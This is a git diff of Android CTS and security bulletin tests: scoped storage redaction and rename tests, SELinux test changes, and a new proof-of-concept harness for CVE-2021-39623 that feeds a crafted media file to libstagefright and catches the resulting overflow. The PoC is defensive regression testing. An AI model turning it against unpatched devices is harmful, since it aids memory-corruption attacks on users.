+import static android.scopedstorage.cts.lib.TestUtils.queryAudioFile;
import static android.scopedstorage.cts.lib.TestUtils.queryFile;
import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
@@ -134,6 +135,7 @@ import android.os.Process;
import android.os.storage.StorageManager;
import android.provider.DocumentsContract;
import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.RedactionTestHelper;
import android.system.ErrnoException;
import android.system.Os;
import android.system.StructStat;
@@ -875,7 +877,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
// EXIF tags and might misleadingly think there are not tags to redact
out.getFD().sync();
- HashMap<String, String> exif = getExifMetadata(jpgFile);
+ HashMap<String, String> exif = getExifMetadataFromFile(jpgFile);
assertExifMetadataMatch(exif, originalExif);
HashMap<String, String> exifFromTestApp =
@@ -1324,7 +1326,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
// Sync file to disk to ensure file is fully written to the lower fs.
out.getFD().sync();
}
- HashMap<String, String> exif = getExifMetadata(imgFile);
+ HashMap<String, String> exif = getExifMetadataFromFile(imgFile);
assertExifMetadataMatch(exif, originalExif);
// Install test app
@@ -1519,6 +1521,10 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
// Assert we can read from the file
assertFileContent(otherAppImageFile, BYTES_DATA1);
+ // Assert has access to redacted information
+ RedactionTestHelper.assertConsistentNonRedactedAccess(otherAppImageFile,
+ R.raw.img_with_metadata);
+
// Assert we can delete the file
assertThat(otherAppImageFile.delete()).isTrue();
assertThat(otherAppImageFile.exists()).isFalse();
@@ -1772,6 +1778,37 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
}
/**
+ * Test that renaming file paths to an external directory such as Android/* and Android/* /*
+ * except Android/media/* /* is not allowed.
+ */
+ @Test
+ public void testRenameFileToAppSpecificDir() throws Exception {
+ final File testFile = new File(getExternalMediaDir(), IMAGE_FILE_NAME);
+ final File testFileNew = new File(getExternalMediaDir(), NONMEDIA_FILE_NAME);
+
+ try {
+ // Create a file in app's external media directory
+ if (!testFile.exists()) {
+ assertThat(testFile.createNewFile()).isTrue();
+ }
+
+ final String androidDirPath = getExternalStorageDir().getPath() + "/Android";
+
+ // Verify that we can't rename a file to Android/ or Android/data or
+ // Android/media directory
+ assertCantRenameFile(testFile, new File(androidDirPath, IMAGE_FILE_NAME));
+ assertCantRenameFile(testFile, new File(androidDirPath + "/data", IMAGE_FILE_NAME));
+ assertCantRenameFile(testFile, new File(androidDirPath + "/media", IMAGE_FILE_NAME));
+
+ // Verify that we can rename a file to app specific media directory.
+ assertCanRenameFile(testFile, testFileNew);
+ } finally {
+ testFile.delete();
+ testFileNew.delete();
+ }
+ }
+
+ /**
* Test that renaming directories is allowed and aligns to default directory restrictions.
*/
@Test
@@ -2992,6 +3029,45 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
}
}
+ /**
+ * Test that renaming a file to {@link Environment#DIRECTORY_RINGTONES} sets
+ * {@link MediaStore.Audio.AudioColumns#IS_RINGTONE}
+ */
+
+ @Test
+ public void testRenameToRingtoneDirectory() throws Exception {
+ final File fileInDownloads = new File(getDownloadDir(), AUDIO_FILE_NAME);
+ final File fileInRingtones = new File(getRingtonesDir(), AUDIO_FILE_NAME);
+
+ try {
+ assertThat(fileInDownloads.createNewFile()).isTrue();
+ assertThat(MediaStore.scanFile(getContentResolver(), fileInDownloads)).isNotNull();
+
+ assertCanRenameFile(fileInDownloads, fileInRingtones);
+
+ try (Cursor c = queryAudioFile(fileInRingtones,
+ MediaStore.Audio.AudioColumns.IS_RINGTONE)) {
+ assertTrue(c.moveToFirst());
+ assertWithMessage("Expected " + MediaStore.Audio.AudioColumns.IS_RINGTONE
+ + " to be set after renaming to " + fileInRingtones)
+ .that(c.getInt(0)).isEqualTo(1);
+ }
+
+ assertCanRenameFile(fileInRingtones, fileInDownloads);
+
+ try (Cursor c = queryAudioFile(fileInDownloads,
+ MediaStore.Audio.AudioColumns.IS_RINGTONE)) {
+ assertTrue(c.moveToFirst());
+ assertWithMessage("Expected " + MediaStore.Audio.AudioColumns.IS_RINGTONE
+ + " to be unset after renaming to " + fileInDownloads)
+ .that(c.getInt(0)).isEqualTo(0);
+ }
+ } finally {
+ fileInDownloads.delete();
+ fileInRingtones.delete();
+ }
+ }
+
@Test
@SdkSuppress(minSdkVersion = 31, codeName = "S")
public void testTransformsDirFileOperations() throws Exception {
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java
index 41a47b95a6d..4bff21bbd54 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/StableUrisTest.java
@@ -33,6 +33,8 @@ import android.Manifest;
import android.app.Instrumentation;
import android.content.ContentResolver;
import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.ProviderInfo;
import android.provider.MediaStore;
import android.scopedstorage.cts.lib.TestUtils;
import android.util.Log;
@@ -121,7 +123,7 @@ public final class StableUrisTest extends ScopedStorageBaseDeviceTest {
Log.d(TAG, "maxRowIdOfExternalDbBeforeReset:" + maxRowIdOfExternalDbBeforeReset);
// Clear MediaProvider package data to trigger DB recreation.
- mDevice.executeShellCommand("pm clear com.google.android.providers.media.module");
+ mDevice.executeShellCommand("pm clear " + getMediaProviderPackageName());
waitForMountedAndIdleState(mContentResolver);
MediaStore.scanVolume(mContentResolver, mVolumeName);
@@ -172,4 +174,11 @@ public final class StableUrisTest extends ScopedStorageBaseDeviceTest {
return files;
}
+ private static String getMediaProviderPackageName() {
+ final Instrumentation inst = androidx.test.InstrumentationRegistry.getInstrumentation();
+ final PackageManager packageManager = inst.getContext().getPackageManager();
+ final ProviderInfo providerInfo = packageManager.resolveContentProvider(
+ MediaStore.AUTHORITY, PackageManager.MATCH_ALL);
+ return providerInfo.packageName;
+ }
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index cd9378d3047..c7887f82040 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -95,6 +95,16 @@ public class ScopedStorageHostTest extends BaseHostTestCase {
}
@Test
+ public void testManageExternalStorageCanReadRedactedContents() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testManageExternalStorageCanReadRedactedContents");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
public void testManageExternalStorageCanRenameOtherAppsContents() throws Exception {
allowAppOps("android:manage_external_storage");
try {
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/RedactionTestHelper.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/RedactionTestHelper.java
index b7509e601ac..ee0d203efcc 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/RedactionTestHelper.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/RedactionTestHelper.java
@@ -21,11 +21,15 @@ import static androidx.test.InstrumentationRegistry.getContext;
import static org.junit.Assert.fail;
import android.media.ExifInterface;
+import android.net.Uri;
+import android.os.FileUtils;
+import android.provider.MediaStore;
import androidx.annotation.NonNull;
import androidx.annotation.RawRes;
import java.io.File;
+import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.HashMap;
@@ -56,12 +60,26 @@ public class RedactionTestHelper {
* Retrieve the EXIF metadata from the given file.
*/
@NonNull
- public static HashMap<String, String> getExifMetadata(@NonNull File file) throws IOException {
+ public static HashMap<String, String> getExifMetadataFromFile(@NonNull File file)
+ throws IOException {
final ExifInterface exif = new ExifInterface(file);
return dumpExifGpsTagsToMap(exif);
}
/**
+ * Retrieve the EXIF metadata from the given uri.
+ */
+ @NonNull
+ private static HashMap<String, String> getExifMetadataFromUri(@NonNull Uri uri)
+ throws IOException {
+ try (InputStream is = getContext().getContentResolver().openInputStream(uri)) {
+ final ExifInterface exif = new ExifInterface(is);
+ return dumpExifGpsTagsToMap(exif);
+ }
+ }
+
+
+ /**
* Retrieve the EXIF metadata from the given resource.
*/
@NonNull
@@ -116,4 +134,26 @@ public class RedactionTestHelper {
}
return res;
}
+
+ public static void assertConsistentNonRedactedAccess(File file, int metadataResId)
+ throws Exception {
+ // Write some meta-data to the file to assert on redacted information access
+ try (InputStream in =
+ getContext().getResources().openRawResource(metadataResId);
+ FileOutputStream out = new FileOutputStream(file)) {
+ FileUtils.copy(in, out);
+ out.getFD().sync();
+ }
+
+ HashMap<String, String> originalExif = getExifMetadataFromRawResource(metadataResId);
+
+ // Using File API
+ HashMap<String, String> exifFromFilePath = getExifMetadataFromFile(file);
+ assertExifMetadataMatch(exifFromFilePath, originalExif);
+
+ Uri uri = MediaStore.scanFile(getContext().getContentResolver(), file);
+ // Using ContentResolver API
+ HashMap<String, String> exifFromContentResolver = getExifMetadataFromUri(uri);
+ assertExifMetadataMatch(exifFromContentResolver, originalExif);
+ }
}
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 06706398258..2e694ed65a7 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -751,6 +751,17 @@ public class TestUtils {
}
/**
+ * Queries {@link ContentResolver} for an audio file and returns a {@link Cursor} with the given
+ * columns.
+ */
+ @NonNull
+ public static Cursor queryAudioFile(File file, String... projection) {
+ return queryFile(getContentResolver(),
+ MediaStore.Audio.Media.getContentUri(sStorageVolumeName), file,
+ /*includePending*/ true, projection);
+ }
+
+ /**
* Queries {@link ContentResolver} for a file and returns the corresponding mime type for its
* entry in the database.
*/
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 6bcaa5ac60d..1bb701bcba0 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -92,6 +92,7 @@ import android.os.ParcelFileDescriptor;
import android.os.storage.StorageManager;
import android.platform.test.annotations.AppModeInstant;
import android.provider.MediaStore;
+import android.scopedstorage.cts.lib.RedactionTestHelper;
import android.system.ErrnoException;
import android.system.Os;
import android.util.Log;
@@ -224,6 +225,25 @@ public class ScopedStorageTest {
}
@Test
+ public void testManageExternalStorageCanReadRedactedContents() throws Exception {
+ pollForManageExternalStorageAllowed();
+
+ final File otherAppImage = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
+
+ try {
+ // Create file as another app
+ assertThat(createFileAs(APP_B_NO_PERMS, otherAppImage.getPath())).isTrue();
+
+ // Assert has access to redacted information
+ RedactionTestHelper.assertConsistentNonRedactedAccess(otherAppImage,
+ R.raw.img_with_metadata);
+
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, otherAppImage.getAbsolutePath());
+ }
+ }
+
+ @Test
public void testManageExternalStorageCantReadWriteOtherAppExternalDir() throws Exception {
pollForManageExternalStorageAllowed();
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index ad99a5ae35c..44e616dfccc 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -187,7 +187,8 @@ public class KernelConfigTest extends BaseHostJUnit4Test {
if (mitigationInfoMeltdown != null && mitigationInfoSpectreV2 != null &&
!mitigationInfoMeltdown.contains("Vulnerable") &&
- !mitigationInfoSpectreV2.contains("Vulnerable"))
+ (!mitigationInfoSpectreV2.contains("Vulnerable") ||
+ mitigationInfoSpectreV2.equals("Vulnerable: Unprivileged eBPF enabled\n")))
return "VULN_SAFE";
for (String nodeInfo : pathList) {
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 039867bbc85..dea26887143 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -116,8 +116,6 @@ public class SELinuxHostTest extends BaseHostJUnit4Test {
private File devicePcFile;
private File deviceSvcFile;
private File seappNeverAllowFile;
- private File libsepolwrap;
- private File libcpp;
private File copyLibcpp;
private File sepolicyTests;
@@ -907,29 +905,8 @@ public class SELinuxHostTest extends BaseHostJUnit4Test {
return (os.startsWith("mac") || os.startsWith("darwin"));
}
- private void setupLibraries() throws Exception {
- // The host side binary tests are host OS specific. Use Linux
- // libraries on Linux and Mac libraries on Mac.
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
- if (isMac()) {
- libsepolwrap = buildHelper.getTestFile("libsepolwrap.dylib");
- libcpp = buildHelper.getTestFile("libc++.dylib");
- copyLibcpp = new File(System.getProperty("java.io.tmpdir") + "/libc++.dylib");
- Files.copy(libcpp.toPath(), copyLibcpp.toPath(), StandardCopyOption.REPLACE_EXISTING);
- } else {
- libsepolwrap = buildHelper.getTestFile("libsepolwrap.so");
- libcpp = buildHelper.getTestFile("libc++.so");
- copyLibcpp = new File(System.getProperty("java.io.tmpdir") + "/libc++.so");
- Files.copy(libcpp.toPath(), copyLibcpp.toPath(), StandardCopyOption.REPLACE_EXISTING);
- }
- libsepolwrap.deleteOnExit();
- libcpp.deleteOnExit();
- copyLibcpp.deleteOnExit();
- }
-
private void assertSepolicyTests(String test, String testExecutable,
boolean includeVendorSepolicy) throws Exception {
- setupLibraries();
sepolicyTests = copyResourceToTempFile(testExecutable);
sepolicyTests.setExecutable(true);
@@ -951,12 +928,6 @@ public class SELinuxHostTest extends BaseHostJUnit4Test {
}
ProcessBuilder pb = new ProcessBuilder(args);
- Map<String, String> env = pb.environment();
- if (isMac()) {
- env.put("DYLD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
- } else {
- env.put("LD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
- }
pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
pb.redirectErrorStream(true);
Process p = pb.start();
@@ -983,6 +954,17 @@ public class SELinuxHostTest extends BaseHostJUnit4Test {
}
/**
+ * Tests that all types in /sys/fs/bpf have the bpffs_type attribute.
+ *
+ * @throws Exception
+ */
+ @Test
+ public void testBpffsTypeViolators() throws Exception {
+ assertSepolicyTests("TestBpffsTypeViolations", "/sepolicy_tests",
+ PropertyUtil.isVendorApiLevelNewerThan(mDevice, 33) /* includeVendorSepolicy */);
+ }
+
+ /**
* Tests that all types in /proc have the proc_type attribute.
*
* @throws Exception
@@ -1356,7 +1338,7 @@ public class SELinuxHostTest extends BaseHostJUnit4Test {
@CddTest(requirement="9.7")
@Test
public void testDrmServerDomain() throws DeviceNotAvailableException {
- assertDomainN("u:r:drmserver:s0", "/system/bin/drmserver", "/system/bin/drmserver64");
+ assertDomainHasExecutable("u:r:drmserver:s0", "/system/bin/drmserver", "/system/bin/drmserver64");
}
/* Installd is always running */
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index 323d5b7f573..25242273f6b 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -23,7 +23,6 @@ java_test_host {
java_resource_dirs: ["res"],
// tag this module as a cts test artifact
test_suites: [
- "cts",
"general-tests",
"sts",
],
@@ -44,6 +43,7 @@ java_test_host {
cc_defaults {
name: "cts_hostsidetests_securitybulletin_defaults",
+ auto_gen_config: false,
compile_multilib: "both",
multilib: {
lib32: {
@@ -60,7 +60,6 @@ cc_defaults {
},
},
test_suites: [
- "cts",
"sts",
"general-tests",
],
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39623.ogg b/hostsidetests/securitybulletin/res/cve_2021_39623.ogg
new file mode 100644
index 00000000000..1992a17f915
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39623.ogg
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2022_22082.dsf b/hostsidetests/securitybulletin/res/cve_2022_22082.dsf
new file mode 100644
index 00000000000..60d1a5afbbc
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2022_22082.dsf
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp
new file mode 100644
index 00000000000..50662fdeae6
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2021-39623",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ header_libs: [
+ "libmediametrics_headers",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libdatasource",
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp
new file mode 100644
index 00000000000..d9e38baa633
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-39623/poc.cpp
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <gui/SurfaceComposerClient.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/InterfaceUtils.h>
+#include <media/stagefright/MediaCodecList.h>
+#include <media/stagefright/MediaExtractorFactory.h>
+#include <media/stagefright/SimpleDecodingSource.h>
+#include <sys/mman.h>
+
+typedef void *(*mmap_t)(void *, size_t, int, int, int, off_t);
+mmap_t real_mmap = nullptr;
+
+using namespace android;
+
+bool testInProgress = false;
+constexpr size_t kTargetBufferSize = 32768;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+void *mmap(void *addr, size_t length, int prot, int flags, int fd,
+ off_t offset) {
+ real_mmap = (mmap_t)dlsym(RTLD_NEXT, "mmap");
+ if (!real_mmap) {
+ exit(EXIT_FAILURE);
+ }
+ if (length == kTargetBufferSize) {
+ char *tmp_ptr = (char *)real_mmap(addr, length + PAGE_SIZE, prot,
+ flags | MAP_ANONYMOUS, -1, offset);
+ mprotect(tmp_ptr + length, PAGE_SIZE, PROT_NONE);
+ return tmp_ptr;
+ }
+ return real_mmap(addr, length, prot, flags, fd, offset);
+}
+
+int main(int argc, char **argv) {
+ FAIL_CHECK(argc > 1);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ sp<DataSource> dataSource = DataSourceFactory::getInstance()->CreateFromURI(
+ nullptr /* httpService */, argv[1]);
+ FAIL_CHECK(dataSource);
+
+ sp<IMediaExtractor> extractor = MediaExtractorFactory::Create(dataSource);
+ FAIL_CHECK(extractor);
+
+ sp<MediaSource> mediaSource =
+ CreateMediaSourceFromIMediaSource(extractor->getTrack(0));
+ FAIL_CHECK(mediaSource);
+
+ sp<MediaSource> rawSource = SimpleDecodingSource::Create(
+ mediaSource, MediaCodecList::kPreferSoftwareCodecs, nullptr, nullptr,
+ false);
+ FAIL_CHECK(rawSource);
+
+ status_t err = rawSource->start();
+ FAIL_CHECK(err == OK);
+
+ MediaSource::ReadOptions options = {};
+ MediaBufferBase *buffer = nullptr;
+
+ testInProgress = true;
+ rawSource->read(&buffer, &options);
+ testInProgress = false;
+ if (buffer) {
+ buffer->release();
+ buffer = nullptr;
+ }
+ options.clearSeekTo();
+ options.setSeekTo(0);
+ rawSource->stop();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
index c8e8cbfe049..52141c668ef 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/AdbUtils.java
@@ -16,44 +16,41 @@
package android.security.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
import com.android.compatibility.common.util.CrashUtils;
import com.android.compatibility.common.util.MetricsReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
+import com.android.ddmlib.CollectingOutputReceiver;
import com.android.ddmlib.IShellOutputReceiver;
import com.android.ddmlib.NullOutputReceiver;
-import com.android.ddmlib.CollectingOutputReceiver;
+import com.android.sts.common.tradefed.testtype.SecurityTestCase;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.device.NativeDevice;
import com.android.tradefed.log.LogUtil.CLog;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
-import java.util.concurrent.TimeoutException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-import java.util.concurrent.TimeUnit;
import java.util.Scanner;
-import java.util.Arrays;
-import java.util.ArrayList;
-import java.util.concurrent.Callable;
-import java.util.Collections;
-
-import org.json.JSONArray;
-import org.json.JSONException;
-import org.json.JSONObject;
-
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import java.lang.Thread;
-
-import static org.junit.Assert.*;
-import static org.junit.Assume.*;
public class AdbUtils {
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
index 0822c75c100..6a259b4e744 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182282630.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Before;
+import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_182282630 extends SecurityTestCase {
+public final class Bug_182282630 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_182282630";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-182282630.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
index 57e26353662..52f680efe13 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182808318.java
@@ -21,14 +21,15 @@ import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Before;
+import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_182808318 extends SecurityTestCase {
+public final class Bug_182808318 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_182808318";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-182808318.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java
new file mode 100644
index 00000000000..b461fae5608
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_182810085.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Bug_182810085 extends NonRootSecurityTestCase {
+ private static final String TEST_PKG = "android.security.cts.BUG_182810085";
+ private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+ private static final String TEST_APP = "BUG-182810085.apk";
+
+ @Before
+ public void setUp() throws Exception {
+ assumeTrue(
+ "not an Automotive device",
+ getDevice().hasFeature("feature:android.hardware.type.automotive"));
+ uninstallPackage(getDevice(), TEST_PKG);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 182810085)
+ public void testRunDeviceTestsPassesFull() throws Exception {
+ installPackage(TEST_APP);
+ // Grant permission to draw overlays.
+ getDevice().executeShellCommand(
+ "pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW");
+ assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testTapjacking"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
index e3dd727793c..1295a85f1a9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183410508.java
@@ -16,19 +16,20 @@
package android.security.cts;
-import static org.junit.Assume.assumeTrue;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
import org.junit.Before;
+import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
@RunWith(DeviceJUnit4ClassRunner.class)
-public final class Bug_183410508 extends SecurityTestCase {
+public final class Bug_183410508 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.BUG_183410508";
private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
private static final String TEST_APP = "BUG-183410508.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
index d59fce4e74f..fac7d0e8f61 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_183411210.java
@@ -21,6 +21,7 @@ import static org.junit.Assume.assumeTrue;
